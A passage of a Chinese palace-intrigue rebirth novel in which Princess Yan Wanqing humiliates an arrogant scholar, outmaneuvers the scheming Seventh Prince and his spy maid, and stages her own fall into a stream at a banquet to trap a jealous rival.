“这件事情王兄固然有错,现下王兄既已知错,郡主不如高抬贵手,好歹也是新晋探花郎,大渭还等着这等才子以身报国呢。”说话者是个一身青衣手持扇子的男子,模样清俊,眼神却是浑浊。 燕晚清认出来了,此人是靠着祖宗功勋得到世代供奉的纨绔子弟赵琦。 这就难怪了。 根都是烂在一块的,自然同流合污。 见燕晚清不说话,赵琦又开口:“本人祖辈曾是镇国公的首领,也是有过一段渊源,不知郡主能否卖本人一个薄面。” “不能。”燕晚清开口。 赵琦愣住:“……什么?” “本郡主说不能,且不说他三番五次招惹五妹,就凭他今日的一番言论,也可以证实此人并非国之栋梁,若此等心术不正之徒登入朝堂,后患无穷,所以本郡主今日要替陛下分忧,替社稷除害。”燕晚清看着王书剑,回想前世种种,心中不免多了几分怒火。 “异化群众,鼓动民愤,其罪与欺君共处,王书剑你可服?” 燕晚清最后一个字音落下,王书剑不敢相信。 他寒窗苦读数十年,怎能被燕晚清一句话就否定? 他不服! “郡主偏颇!燕红昭殴打之罪,郡主只字不提,对我等寒门学子却是大肆打压,吾等不服!吾等要告到陛下面前,让陛下来评评理,燕家是否仗着功勋,便目中无人!这天下到底是燕家的天下,还是陛下的天下!” 王书剑红着眼睛大肆骂道。 此话一出,众人大惊,燕晚清双眸微敛,已经有了杀意。 就在此时! “王兄这可不兴说啊!”赵琦赶紧拉住王书剑的袖子,心中后怕的紧:“你与那燕家五姑娘分明只是打闹玩笑,今日你真是喝多了,差点酿成大祸。” 此话一出,王书剑额头冷汗直冒,再看那安平郡主蒙纱站在人群前方,双眼清冷的看着自己,就好似有一只大手,突然从地狱而上,死死的掐住了他的脖颈,让他眼前一黑。 “王兄这是怎么了?当真喝多,开始醉酒了,有辱斯文啊!”赵琦后背也是一身的冷汗,他拖着王书剑的后背,心里暗骂这狗东西怎么没有半点眼力劲,镇国公乃是大渭战神,燕家世代供奉皇室,那安平郡主的表姐还是宫里最受宠的贵妃娘娘,他一个小小探花郎怎么得罪得起,还要告到圣上面前,这不是嫌自己命长么! 王书剑昏死过去的最后一秒,脑海里还都是那双清冷夺命的眸子,死死的盯着他,是真的想要了他的命啊。 “哎哎哎,人怎么倒下去了喂……”赵琦不防备,王书剑直接摔倒在地,拉着他也跟着摔在了地上,他灵机一动对着燕晚清说道:“郡主和五姑娘,你们大人有大量,这厮乡野出身,满嘴之乎者也,一根筋,不懂咱们京城的规矩,今日他吃了些酒,酿成了大祸,二位抬抬手,等他醒了,再治他一个大不敬之罪,可成?” 赵琦身为京城里出了名的二世祖,嘴皮子上下一合,跟抹了油一样,三两句将自己摘得干干净净,也为王书剑今日的行为作出了解释。 燕晚清见王书剑不像是吃酒吃多了,倒像是被自己给吓晕的,心中不禁冷笑一声。 当真是个提不上台面的窝囊废。 她也不想直接下死手,今日之后王书剑在世家大族的闺阁内,名声定然是臭到了极致,他的青云登天梦,怕是难上加难了。 她还要留这厮,引出幕后黑手。 见状,她转过身去:“罢了,本郡主也不是心胸狭窄之人,希望今日能够点醒这位探花郎,免得日后冲撞到了圣人面前,那才真是个死罪难逃。” 这话也圆的漂亮,滴水不漏。 看着那安平郡主带着人离去,没有热闹可看的众人也跟着散去。 只留下赵琦用手背擦了一下额头的冷汗,站起来拍了拍衣服上的灰尘,折扇一甩冲着自己的小厮说道:“走吧。” “爷,管他么?”小厮指的是地上的王书剑。 赵琦眼里透露出厌恶:“管个屁,他现在还不如死了算了,真是个废物。”他是冲着这探花郎的名声来的,说两句好话,结交一下,对他以后在京城没有任何坏处。 可是谁承想这位是个脑子不好使的,那燕晚清是个什么人物? 江湖人称女诸葛啊,靠嘴皮子就能打赢仗的人,那能是一般的女人么?可笑王书剑还企图与之争辩,真是老母猪鼻孔插大葱——装大象,那叫一个不自量力。 “走了走了,别耽误了皇后娘娘的宴会。”主仆二人走的极快,只留下王书剑倒在青石板上,无人问津,后来被打扫院子的小沙弥也拖了回去。 再说燕晚清那边,刚进屋子,她便遣散了屋中的众人,只留下了燕红昭。 “五妹。”她轻叹一声。 “大姐我错了!”燕红昭扑通一声直接跪在了地上,双手上翻露出掌心,低着头颅:“请长姐罚我。” 燕晚清双眸微振,却很快湿润起来。 她双手拉住燕红昭的手,拽她起身:“你这是做什么?” “长姐不怪我?”燕红昭愣了一下,平日里她犯了错,长姐都是会直接先罚的。 燕晚清也想到了自己以前的做派,心口酸涩了些许,她摇摇头:“不怪你,你做的很对,只是王书剑这样的趔趄之辈,不值得你亲自去动手。” “长姐的意思是?”燕红昭没想到会听到这样的话,长姐自从风寒之后,整个人都好像变了许多,开始和大家一起用膳,也开始关心他们这些姐妹兄弟,说话也变得越发的温柔,今日竟然直接替她出头大骂那王书剑之流,让她现在感觉有些不敢相信。 燕晚清何尝不知道小姑娘心里在想什么。 前世,她的眼中只有国家大义,手中捧得不是四书五经就是兵法兵书,这些家长里短,儿女情长,她通通算作小事,也从不放在眼里,自然是不会注意到的。 若是放在以前,她只怕还会压着燕红昭给王书剑道歉,就怕被有心之人捅到圣上面前,说他们燕家托大。 可是现在不会了。 “那厮胡搅蛮缠,可有气到我家小姑娘?”燕晚清伸出食指点了点燕红昭的鼻尖,露出一个如沐春风的微笑来。 她要她所在乎的人,都恣意潇洒的活着。 第十三章 划分私有物,疯狂试探 山间的接近晌午的时候,阳光从树叶斑驳中撒下来,给清冷的庙宇增添了几分暖意,朔风带梅香,定睛观海,层层叠叠,美的人挪不动步伐。 梅林里早就有宫人摆好了案几桌椅、屏风,女眷那边还围上了薄纱,可以说是非常周到了,还特意给女眷们准备了软垫,听说还是太子殿下过来特意嘱咐的。 孙氏带着燕家女眷,跟随着宫人,慢慢落了座。 燕晚清刚坐下,身上就落了一个暖洋洋带着体温的披风。 “大姐伤寒未愈,还是要多穿些才好。”燕红昭自然的摸了摸燕晚清的手,关怀的说道:“这走过来的功夫,手就凉了,我给大姐捂捂。” 孙氏坐在一旁,眉眼柔和了些许。 宋氏瞧见了,赶紧打趣道:“她们姐妹感情真好,就像是我们年轻的时候一样……”说着说着,宋氏像是想到了什么,突然神情暗淡了。 孙氏将手里的佛珠换了个方向继续转,另外一只手将桌子上的糕点往宋氏那边推了推:“尝尝看这个,是个新玩意儿。” 宋氏微怔,随即:“哎!”她拿起糕点,慢慢品尝起来。 这边燕晚清的手被焐热了,就听见燕红昭小心翼翼的开口:“大姐。” “嗯?”燕晚清抬眼看五妹。 只见她有些拘谨:“大姐感染风寒好些时日了,一直反反复复的,前些时日大姐是不是还咳血了?” 最后几个字她说的很轻,只有燕晚清能听见。 “无碍。”燕晚清知道五妹是关心自己,应该是从从歌这里得知的。 “怎会无碍?那可是……”燕红昭急了,她像是下定了决定:“要不大姐明年开春,跟我一起去练武房吧,哪怕不能重回当年,强身健体也好啊,不至于像现在这样,小小的风寒都能让大姐受苦难受。” 她说的很快,声音压得很低,小巧的鼻尖上都是密密的汗水。 谁都知道,四年前的事情,在燕家人里是个禁忌,也就是从那件事情开始,原本像骄阳一样文武双全的安平郡主,变成了一个躲在深闺里大门不出二门不迈的病秧子。 这件事情燕红昭本不想提的,但是今天的大姐很温柔,她鼓足了勇气开了口。 燕晚清心头一动,她不自觉的捏紧了拳头,好久才又松开。 “……好。”她说。 “大姐答应了!哈哈哈……” 燕红昭开心坏了,立刻飞身窜进了山林里,像个快乐的燕子。 燕家五姑娘向来洒脱,快意恩仇,所以大家也就见怪不怪了。 燕晚清借着气闷,离开了人群,她没有忘记今日的菩提之约。 今日五妹的话给她提了个醒,她确实需要抓紧恢复身体,寻找千机的解药,恢复自己的自保能力。 思绪间—— “本殿还以为郡主不会出现了。”一声带着情绪的低沉男音从身后响起。 燕晚清闻声,挑眉,敛住了情绪。 菩提树下,她慢慢转过身看向了来人:“向七皇子问安,殿下来了,民女怎会不来?” 萧鸿深见她一袭狐裘披肩,帽围滚了一圈白毛,衬托着瓷白的小脸越发楚楚可人,不得不说,若不是她久居闺中,这大渭第一美女的称号根本轮不到林家的那位。 这也是为什么,他一直对于燕晚清情有独钟的原因。 又美又聪明还知进退的女人,才配得上他。 “郡主昨夜可不是这个态度。”萧鸿深高低还是得摆个皇子的谱子,昨夜的事情让他丢脸丢大发了,还让太子也知道了,他的心里很不舒服。 燕晚清掩盖住眼底的恨意,面上柔弱,眼眶盈盈粉泪:“昨夜的事情殿下可真是错怪了,发展成那样也不是本意,实在是不得已而为之。” “此话怎讲?”萧鸿深狐疑道。 燕晚清便将昨夜遇到秦国小公主和太子表白心意的事情说了出来,却并没有提后面秦舞被拒一事,果真看到了萧鸿深眼中的嫉恨。 她心中冷笑,面上却很是忧愁。 “……秦舞是秦国最受宠的小公主,国主对其栽培更甚皇子,若是真的和太子联姻了,对已经掌握兵权的太子而言,无疑是锦上添花,这样满朝文武可都在太子殿下的掌控之中了。”燕晚清顿了顿,她叹了一口气,语气放缓:“所以尤其是这种关键的时候,越是不能让太子殿下发现殿下跟我们燕家交好,故才……” 萧鸿深一点就透,脊梁骨瞬间渗出冷汗,这些年太子虽然人前温润如玉,可是能不依靠任何人坐稳那个位置,手段自然是不用多说的。 “昨夜本殿吃了些酒,好在老师思虑远,才不至于让太子看出……”萧鸿深声音温柔了下来,从怀中掏出一块暖玉:“让老师受委屈了,这是南疆刚刚送上来的暖玉,给老师赔礼道歉。” 燕晚清却在看见那块玉的瞬间,水眸里风起云涌。 前世这块玉是被从欢送上来的,她只当是库房里的东西,身子骨弱便时常佩戴着,确实缓解了她体弱,只不过从此之后,玉不离身,加上萧鸿深若有似无的提醒,导致外人都以为她和燕家都与七皇子之间关系匪浅。 现在看来,都是算计。 “老师不收,可是还不愿意原谅本殿?” 燕晚清眼皮子不抬,直接说道:“民女不敢,殿下的好意心领了,南疆今年产出的暖玉不多,有心者稍微查一下便知暖玉出处,如此危急关头,殿下还需时时谨慎才是。” 萧鸿深捏着暖玉慢慢收回手,听不出语气:“还是老师考虑的周到,我们下面应该怎么做?” 燕晚清收拢了身上的狐裘,呼出一口白气:“当务之急还是要阻止他们二人成功联姻。”她话没说全,压根没提太子已经拒绝秦舞的事情。 看着萧鸿深沉默的样子,燕晚清声音放轻:“听说秦国皇室最近不太安稳,殿下可以让人去探寻一番,兴许会有意外惊喜。” 萧鸿深听罢眉头稍松:“本以为昨夜之后老师会远离本殿,还好没有……老师,你知道的,老师就是本殿的命。” 燕晚清面颊稍红,侧过身去:“大业在前,殿下切勿逾矩。” 萧鸿深目光深情不减:“不用等太久了,很快老师就能正大光明的站在本殿的身边。” 燕晚清敛住的双眸,此刻风起云涌,是啊,确实不用等太久了,她就可以手刃仇人了。 一想到这个害她满门的男人,是她亲手从后宫沼泽里捞出来的,燕晚清就止不住的恨,当年她见他可怜,施以援手,救他于水火,可是他却恩将仇报,只想着囚禁自己,最终一步步将她逼到了绝路上。 第十四章 奴才墨山,见过安平郡主 “老师在想什么?”萧鸿深见燕晚清不说话,问道。 燕晚清透过树林斑驳,看到了秦舞缓缓沿着山路在走,面色苍白,眼底下一片青紫,明显是昨夜没有睡好。 “殿下的机会来了。” 燕晚清没有忽略萧鸿深眼中的欲欲跃试,却见他还是克制的站在原地继续问自己。 “今日听闻新晋探花冲撞了老师,可需要本殿出手解决?” 燕晚清心中好笑,摇头:“镇国公府树大招风,年轻人不懂事是正常的,没必要和他计较。” “这怎么可以,老师乃是堂堂安平郡主,那探花郎是个什么东西,也配跟老师论道。”萧鸿深表现愤怒:“还是老师平日里性格太过于温和了,身边也没有体己的人。” 他突然拍了拍手,走出来一个女人,五官淡的像是白开水。 燕晚清挑了一下眉头,墨山。 难怪不去找秦舞,原来是要明目张胆的往她身边塞人啊。 “这是本殿身边的女侍卫,身手高强,最适合呆在老师身边,替本殿保护老师。” 保护? 这不就是明晃晃的监视么。 燕晚清敛住眼中的反讽,道:“七皇子有心了。” 他非要塞,那她就要。 前世并没有出现这一幕,看来自己重生之后,很多东西都改变了。 “墨山,还不快去见过你的新主子。”萧鸿深沉声吩咐道。 只见墨山直接跪在了燕晚清的面前:“奴才墨山,见过安平郡主。” 能屈能伸,身为人却没有丝毫人应该有的情绪。 应该是一个从小就被剥夺情感培养长大的死士,燕晚清看着墨山那淡的放人群里一下就会淹没的五官,心中有了一丝的思量。 一个宫女所出的皇子,是怎么培养出这么一个优秀的死士的,或者说一群? 燕晚清眯了眯眼睛,这一世,她发现了萧鸿深身边很多前世没有注意到的东西。 “这位之前见过。”燕晚清勾了勾唇。 萧鸿深眼中闪过了一丝深意:“不愧是老师,还能认出来墨山,林大人见过那么多次,都没记住。” “墨山不难认啊,这么好看的小姑娘自然是见之不忘。”燕晚清笑道。 萧鸿深和墨山同时愣了一下。 燕晚清却像是没有看见一样,慢盈盈的转过身去:“宴会马上就要开始了,殿下可要抓紧了。” 说罢她施施然离开。 看着那抹背影,萧鸿深原本洋溢着笑容的脸瞬间阴沉下来,眼神阴翳:“……过去吧,你知道该怎么做。” 墨山眼中的痴迷一闪而过,迅速消失,快的像是一阵风,她颔首尊敬的喊了一声:“好的主人。” 这边萧鸿深朝着秦舞消失的地方追了过去。 燕晚清出去透了一口气,回来就带了个婢女,淡的像是水墨画一样,没有引起任何人的注意。 唯独从歌在旁边看了一愣,将一个暖手小炉递了燕晚清,压低声音说道:“小姐,这不是七皇子身边的人么?” 燕晚清几乎能感受到身后墨山平静的脸上有了一丝皲裂。 她没有想到从歌竟然也能认出来墨山,自己能认出来是因为她之前跟着青姨练过独门秘书,这些障眼法根本糊弄不了她。 但是从歌是从小跟着她长大的,根本没有接触到这些。 这样天赋异禀,只是跟在她身边当个丫鬟有点可惜了。 从歌以为墨山听不见,又捂着嘴说了一句:“要不要找人把她轰出去?” 墨山:“……” 燕晚清强忍着笑意:“不用了。” 天色很快暗了下来,周边的篝火燃起,人也陆陆续续的到齐,七皇子萧鸿深是和秦舞一起过来的,来的时候萧鸿深还特意看了一眼燕晚清。 却见对方眉眼都不抬一下,他阴沉的眸子里闪了一下暗光。 “可惜贵妃娘娘身怀六甲不能赴宴,不然本公主真想看一眼她的剑舞,可惜了。”秦舞叹了一口气,将萧鸿深的思绪撤了回来。 “这倒是无碍,本朝女子大多习武,公主想看,待会儿本殿便安排她们跳给你看。” 秦舞一听心情总算好了点,又见萧鸿深因为自己不能作陪,体贴的让一名大臣之女过来陪她,心里对他的看法改观了不少。 “你也会剑舞吗?”秦舞问道。 身着复杂罗裙的大渭第一美女林嫣然愣了一下:“啊?” 秦舞耐着性子又问了一遍,林嫣然摇头:“学那些作甚,女儿家还是琴棋书画比较好,舞刀弄枪的多血腥。” “没劲。”秦舞觉得没趣,心里想见的人还没有来,目光就在周边的女眷身上打转,直到看到了那层帷幔之后,托腮假寐的燕晚清,眼睛突然一亮。 “那是谁?”秦舞拉着林嫣然问道。 林嫣然顺着她的视线看过去,只见晚风拂过的白纱之后,橘色日落辉煌洒在她的发间,只见美人香腮似雪,轻皱眉头,便想让人将世间美好的万物都捧到了她的面前。 林嫣然看的心中吃味,又想到最近父亲说七皇子殿下一直和她走的很近,心里就更不是滋味了,于是她酸溜溜的说道。 “她是我们大渭的安平郡主,在外可是有女诸葛的美称,还给京中皇子们传道受业解惑过,被各位殿下尊称一声老师呢。” “她是燕晚清?”秦舞盯着那白纱后面的人,一字一句的问道。 林嫣然灵机一动,唇角勾出一抹坏笑:“对啊,那就是燕家的大小姐,小女记得安平郡主一手灵蛇剑舞堪称世间奇景呢。” 秦舞自然是有听说过的,从小到大父王对她提到最多的名字就是燕晚清,一直把她当做鞭策自己前进的目标,当下看到了真人,秦舞自己反而觉得有些不真切了。 “前段时间,郡主还因为自家五妹婚约的事情,好好的教训了一下新晋探花呢,听说今日晌午的时候,又当着众人把人给骂晕过去了。”林嫣然继续说道,果然看到秦舞微微皱眉。 “虽说探花郎和镇国公府的地位悬殊大,但娶一名庶出女儿当做正妻也算是给足了镇国公面子,可是安平郡主偏偏让家丁将其轰了出去,羞的那探花郎几欲寻死啊。” “瞧不上便瞧不上了,今日双方又碰见,郡主又当着众人的面当探花郎训斥一番,气的探花郎,急火攻心,当场晕了过去,不知道现在人醒了没。” 林嫣然一边唏嘘,一边察言观色。 冷不丁身上一热,就看见一个半大点的孩子捧着一碗热茶,此刻碗里空空,茶水悉数倒在了自己的衣服上。 “你是哪家的孩子?怎生如此没有礼貌!”林嫣然气得不轻,这件衣服可是她花了重金,等了半个多月才等到的。 她气的伸手去抓那孩子,却见孩子灵活的躲开,还一边做着鬼脸冲她骂道:“让你说我长姐坏话不泼你泼谁!” 第十五章 好酒配好菜,郡主落水 “抓住他!”林嫣然气急败坏吩咐着婢女去抓那小男孩。 只见小男孩长的虎头虎脑的煞是可爱,穿着一袭短袄在人群中像是一条灵动的鱼儿,将林嫣然的婢女戏耍的团团转。 林嫣然气的不轻,此刻山间风一吹,衣服湿掉的地方就让她冻的毛骨悚然。 “去换一件,你不会只带了一件吧?”秦舞看着林嫣然笑道,她自小便在皇宫里长大,可不是没有脑子的公主,林嫣然这种手段她一眼就看出来了。 林嫣然气得要死,姣好的面容上面有些狰狞:“这孩子喊燕晚清长姐,定是燕家那小七——燕子濯!真是个无理竖子!” “慎言。”秦舞懒得看她,起身朝着那小孩儿走去,燕子濯这回没躲开。 “燕晚清是你长姐?”秦舞问道。 燕子濯小大人一样,上下打量了一下秦舞:“你就是那个秦国受宠的小公主?” 秦舞意外了一下:“你这小孩儿还是挺聪明的。” “又不难猜,看林家小姐对你的态度就知道你的身份不一般,往常又都是些熟面孔,只有你一个生人,再看你的服饰首饰,很容易就猜出来了。”燕子濯娓娓道来。 秦舞余光又看了一眼假寐的燕晚清,刚想说什么,只见宫人们突然忙碌起来,只听见一声高昂的尖细的传报。 “皇后娘娘驾到——” 便看见穿着华丽,雍容华贵的女人在众人的簇拥下,慢慢的走到了主位上,她的身边赫然跟着刚刚在自己身边说闲话的林嫣然,此时她已经换了一身衣服,见到燕子濯的时候狠狠的瞪过去一眼。 燕子濯一点也不害怕,站在秦舞身后冷哼一声:“动作还挺快。” 秦舞:“……”到底谁幼稚? 她还想说什么,就见刚刚躲自己身后的小屁孩一溜烟窜到了后面,她再回头就看见燕晚清冲着自己弯了弯眉眼,秦舞的心咯噔了一下。 这个女人,怎么笑的像个摄人心魂的狐狸。 恍惚间只听见宫人又喊给皇后娘娘行礼,等行完礼,秦舞又不得不回到了自己的座位上。 此时只听见皇后开口问道:“太子呢?” 众人低下头,开始了,开始了,皇后开始找茬了。 被问的奴婢脸色一白,跪下说道:“太子殿下还没有到。” “还没到?”皇后狭长的眸子微眯,露出一抹刻薄的笑容:“也难怪,太子殿下心系天下,自然是忙于政事,晚到点没事。” 大家心知肚明,先后死了之后,新后才上位,这么多年一直无所出,眼看着太子年纪到了,皇帝身体不好,却一直没有禅位的打算。 反而痴迷炼丹,妄想飞升修道,贪图凡人不可得。 所以皇帝皇后和太子之间的关系,最近越发紧张。 就在这时,宫人传报。 “太子殿下到——” 那人一袭暗紫色的袍子从两岸篝火中,踏步而来,恍如神明光顾人间,看的官宦家的女子纷纷红了脸。 只看见太子萧蘋风将身上的袍子脱掉坐下,全程没有和皇后说一句话,周边的宫人噤若寒蝉,皇后见他来了,露出一抹愤愤,却也没有多说什么,随后吩咐宫人们下去斟酒,丝竹悦耳奏起,气氛逐渐喧闹起来。 觥筹交错之间,士大夫三五成群吟诗作对,女眷们围坐梅花树下讨论着胭脂香氛,小孩们嬉闹着举着花灯穿梭于人群中……夜间梅香阵阵,篝火中的柴火烧的噼里啪啦作响,时不时吹来一阵暖风,熏得众人微醺,行为也逐渐放浪形骸起来…… 燕晚清也小酌了一口,裹着披风眯着眼睛四处打量着,隔着飘荡的白纱,就看见那抹暗紫色的身影被士大夫们围着,几个人正在说着什么。 谈话间不少女眷将自己腰间的香囊朝着太子身上丢去,转眼间地上就掉落了好些香囊,太子自然是不会做出弯腰捡香囊的举动的,这就苦了身边的宫人,一直低头弯腰捡起,然后放在托盘上,眼见着那托盘堆叠好似一摞小山了。 似乎是察觉到自己被人瞩目,矜贵的人顺势望了过来,燕晚清猝不及防撞进了那抹深邃的眼眸之中,隔着篝火,隔着白纱,隔着夜色,两两相望。 她冷不丁想起昨夜,此人孟浪的掐着自己的腰戏谑:“你的腰真细。” 脸颊瞬间有些发烫,燕晚清立刻移开了视线,手摸上桌子的酒盏,往嘴里送,结果喝的太猛,呛了一下,咳出了些许泪水。 萧蘋风眼见着她眼角的晶莹,眸子里多了几分笑意。 真笨。 燕晚清这边不小心喝了酒,只觉得喉间火辣辣的,吓得旁边的从歌赶紧接过水来给她喝。 “不碍。”燕晚清推开温水。 从歌拿出帕子去给她擦拭眼角咳出来的泪。 燕晚清感受着肺腑之间的灼烧带动的暖流,整个人有些微醺:“说起来,我好几年都没有饮过酒了……原来酒水竟然还是这般滋味。” 她轻笑一声,不顾从歌的阻拦,将杯盏中剩下的酒水一饮而尽。 “好酒!” 好酒自然是要配好菜的。 燕晚清眼见着高位之上喝的脸颊酡红的皇后,被宫人搀扶着,踉踉跄跄的朝着外面走去,清澈的双眸逐渐被肃杀弥漫。 上菜了。 “有些闷,扶我去湖边吹吹风。”燕晚清冲着墨山说道。 墨山愣了一下,但是很快反应过来,走过去扶着她站了起来。 她没有想到燕晚清会喊她,而不是去喊从歌。 溪边零零散散也站着不少吹风醒酒的人,墨山扶着燕晚清坐在了溪边的石墩上,冷风吹过来,让燕晚清发热的脸颊有了少许清凉。 她长呼出一口浊气。 “见过安平郡主。”娇柔的声音从身后响起,林嫣然带着一个丫鬟徐徐走了过来。 她先是上下打量了一番燕晚清,没有了白纱的遮盖,此时的她椅坐在石头上,缓缓回首,就好似一朵深夜绽放的昙花,高冷不可亲。 “你是林大人的千金。”燕晚清朝着墨山使了个眼色,墨山退到了一边。 林嫣然见燕晚清认出了自己,心中自然是得意的,她上前两步:“小女对郡主一见如故,有些体己话想要和郡主说,不知道郡主可方便。” 墨山微微蹙眉,她很清楚林嫣然对萧鸿深有情谊,此番前来,怕是来者不善。 刚想要提醒燕晚清注意,就看见燕晚清笑的温柔:“自然是方便的。” 墨山和林嫣然的婢女退到了远处,她远远的看着林嫣然遮盖住燕晚清纤细的身影,心中的不安逐渐扩散。 紧接着只听见林嫣然一声尖叫,下一刻,燕晚清就被推入了湍急的溪水之中! 安平郡主落水了! 第十六章 以身做诱饵,睚眦必报 一盏茶之前。 婢女们都退到了边上,四下无人,林嫣然盯着燕晚清姣好的面庞,周身温婉的气质逐渐散去,她先是嗤笑了一声,紧接着又上下打量了一下燕晚清,说道:“郡主大门不出二门不迈已经好几年了,怎么今年肯赏脸皇后娘娘的赏梅宴了?还是说郡主赏的不是梅花,而是其他?” 她今日早早的换好了衣服,就想来看看七皇子,谁知道七皇子紧跟着燕晚清到了菩提树下,两个人不知道说什么,有说有笑的,将她气得不轻,回去摔了好一通东西。 好不容易等到晚宴七皇子主动来喊她了,结果是让她去陪秦国小公主,自己则是一双眼睛死死的黏在了那燕晚清身上,让她好生委屈。 燕晚清抬眸淡淡的扫了林嫣然一眼,也不复刚刚那般温柔,脑子里突然崩坏一根弦,脱口而出:“关你屁事。” “你!”林嫣然一张俏脸通红:“你怎么骂人,你可是安平郡主!” “安平郡主怎么了?是不食五谷杂粮还是不入五谷轮回?”燕晚清丝毫不惯着眼前被宠坏的千金大小姐,讥讽道:“本郡主知道你喜欢七皇子,可是怎么办呢,他眼睛里没有你。” “再说本郡主骂人也不是一天两天的事情,你但凡和林大人多问问往些年本郡主的事情,今天你就不会作妖作到我的头上。” 燕晚清自然是会骂人的,当年南征北战,风餐露宿,烈酒烤肉,她更多的是草莽儿女真性情,人她都敢杀,更何况是骂。 罗裙穿了几年,她可没有忘记自己骨子里的真性情。 端庄婉约是装给外人看的,现在她累了,不装了。 “七皇子只是拿你当良师,哪里是心悦于你,你可要点脸吧!”林嫣然不甘示弱冷笑道:“哪怕就算是心悦你,那七皇子正妃的位置也不会是你的,你的身份是高贵,可是郡主别忘了男人最忌讳的是什么,混迹军营这么多年,谁知道你还干不干净!” 燕晚清眼底一丝波动都没有,前世这种诋毁她听得耳朵都麻了,就连说她堕胎几次的都大有人在,以前她还会因此动怒委屈,但是现在她内心毫无波澜,清者自清,懂她的人不必多说一个字,不懂的人图费口舌。 “林小姐,你看见本郡主刚刚身边的丫鬟没有。”燕晚清余光瞥到了墨山,唇角勾起一抹坏笑。 林嫣然蹙眉:“你什么意思?” “那是七皇子身边的贴身丫鬟。”燕晚清凑到她跟前,呵气如兰:“你猜,她为什么要跟在本郡主身后?” “你——!”林嫣然气急败坏双手猛地往前推,燕晚清借力直接摔进了冰冷的溪水里。 她一贯睚眦必报,也舍得以身做诱饵,杀敌一千自损八百的事情,在战场上她也没少干。 过程不重要,只要能赢,她甘之如饴。 …… “我没有推她!是她自己掉进去的!”林嫣然面对众人的视线,百口莫辩。 燕晚清躺在墨山的怀中瑟瑟发抖,嘴唇青紫,她抓着墨山的手,微微用力:“跟林小姐无关,是本郡主不小心。” 墨山也是一身湿冷,却坚持用内力给燕晚清取暖。 她深知燕晚清对于萧鸿深的重要性,半点不敢马虎。 此时人逐渐聚拢过来,燕晚清冻得不轻,一张小脸煞白,她死命掐着虎口,逼着自己清醒,然后当着众人的面,吐出一口鲜血。 众人:“!!!” “郡主吐血了!” 林嫣然看到燕晚清吐血的瞬间,整个人就遭不住了。 嫉妒让她失去了理智,所以她就推了一下! 就一下! 谁知道这个女人这么弱不禁风,一下子就把她推到了溪水里。 不过是泡了泡凉水,她竟然能够咳出血! 她是纸做的吗?林嫣然简直不敢想,浑身上下都开始发冷。 燕晚清浑身都在抖,她伸出手去摁住墨山:“不要浪费内力……咳咳,我回去泡个热水澡就好了。” 墨山微微颤了一下,却没有听燕晚清的,继续输送着内力,只是看着林嫣然的目光越发的不友好。 林嫣然被看的来气:“你一个丫鬟,凭什么这般看着我!你这个贱人,不许这样看着我!”她将身上的珠宝首饰摘下来去砸燕晚清和墨山。 墨山眼底闪过一丝杀意,这林大人的千金怎生会如此蠢笨! 眼下众目睽睽,竟然如此作风,如此不知收敛! 就在她想要一个石子打晕这蠢笨女人的时候,只听见有人惊呼太子殿下和七皇子到了,墨山赶紧低眉顺眼起来。 而她怀中的燕晚清在察觉到那一丝稍纵即逝的杀意后,眼底的深意便显得越发的意味深长。 “这是怎么回事!”萧鸿深走过来,便沉下脸来问道。 林嫣然抽抽噎噎,哭的梨花带雨上前:“七皇子殿下……小女真的不知道是怎么回事,郡主她就落水了,真的和小女没有关系啊。” “你别哭,好好说说,到底怎么回事。”萧鸿深放轻语气问道。 林嫣然便细声细气的跟他说起来。 燕晚清冻得直哆嗦,心里依然忍不住翻个白眼,这萧鸿深还不如墨山靠谱,墨山还知道给她输内力取暖,他倒好,眼巴巴的站在那听林嫣然诉苦了,等那边说完她估计已经要冻晕过去了。 正想着,突然一块带着体温的披风从天而降,将她全部包裹住。 “孤来。”低哑清澈的男声响起,墨山被推到了一边,紧接着燕晚清便被拦腰抱起,落入一个温暖宽阔的怀抱中。 竟然是太子萧蘋风! 他众目睽睽之下,抱起了自己…… 燕晚清忍不住胸口开始乱跳,下水一冻,冷风一吹,她一下子就想起来昨夜此人掐着自己的腰,孟浪的说:“你的腰真细。” 脸,一下子像火烧云弥漫开来。 萧蘋风注意到怀中人煞白的脸变得通红,只道是已经感染了风寒,当下沉声道:“唤御医过来。” 他抱着燕晚清,脚步不停:“这里就交给七弟处理了。” 萧鸿深眼看着燕晚清被抱走,披风下的手攥成了拳头。 这本该是他的机会! 此时林嫣然还在哭,他冷下脸来:“墨山,你过来说,到底发生了什么事情。” 墨山一五一十的将事情经过全部说清楚,当听到林嫣然将燕晚清推入水中后,萧鸿深的眼神就开始越发阴翳起来。 “是这样么?” 林嫣然被看的心惊胆战,超后退了两步,却不想被人群中急匆匆跑过来的林大人,直接一巴掌打倒在地上! “孽障!大逆不道!”林大人大声呵斥道。 第十七章 南山暗藏密道,别院纵情鸳鸯 林嫣然被打懵了,捂着脸跌坐在地上,满眼都是不敢置信:“爹爹!” “闭嘴。”林大人生怕自己的女儿再说出什么大逆不道的话,赶紧大声呵斥她。 林嫣然自小便是被溺爱长大,生得又美,所以便养成了嚣张跋扈目中无人的性子。 不过好在是七皇子留下来处理这件事情,而不是太子殿下,林大人心中也是松了一口气的。 “微臣教导无方,今日小女酿成大祸,自知晚矣,当务之急还是郡主的身体要紧,微臣这边有一灵丹妙药乃是南山虚无方丈所赠,已经派人送给郡主了,聊表歉意,至于小女,微臣立刻派人将其连夜送回家,罚她闭门思过,等皇后娘娘的赏梅宴会结束了,再带她亲自上镇国公府登门道歉。” 不愧是七皇子身边的得力干将,一番话下来已经将这件事情安排的妥妥当当,林大人深知镇国公府对于朝阳动荡的意义,燕晚清作为镇国公的嫡长女,大渭的安平郡主,更是里面至关重要的一步。 只要七皇子求娶成功燕晚清,那么之后的朝堂也就不是太子党一手遮天了。 “既然如此,就辛苦林大人了。”萧鸿深很满意林大人的处理方式,抬脚朝着太子消失的方向走去,他可不希望这么点功夫,燕晚清和萧蘋风生出情愫出来。 见人都走了,林大人将自己的女儿扶起来,看着她脸颊上的巴掌印,说不心疼是假的,但此事在急不在缓。 林嫣然哭的几乎要晕过去,他赶紧让人扶着她送上马车。 临走的时候林嫣然心里特别不服气:“爹爹,我到底是不是您的女儿,这件事情分明是那燕晚清陷害于我,让我在七皇子面前丢脸!” 林大人阴沉着脸:“沉不住气,你和一个病秧子争这些做什么?哪怕她真的当上了七皇子的正妃,又有几日的活头,目光放长远一点。” “父亲的意思是让女儿咽下这口气?”林嫣然眼角猩红,都是不甘愿。 林大人摸了摸自己的山羊胡子,冷笑一声:“你爹我是这么窝囊的人么?”他从一个乡野士大夫,一路小心翼翼爬到现在这个位置,靠的可不只是隐忍。 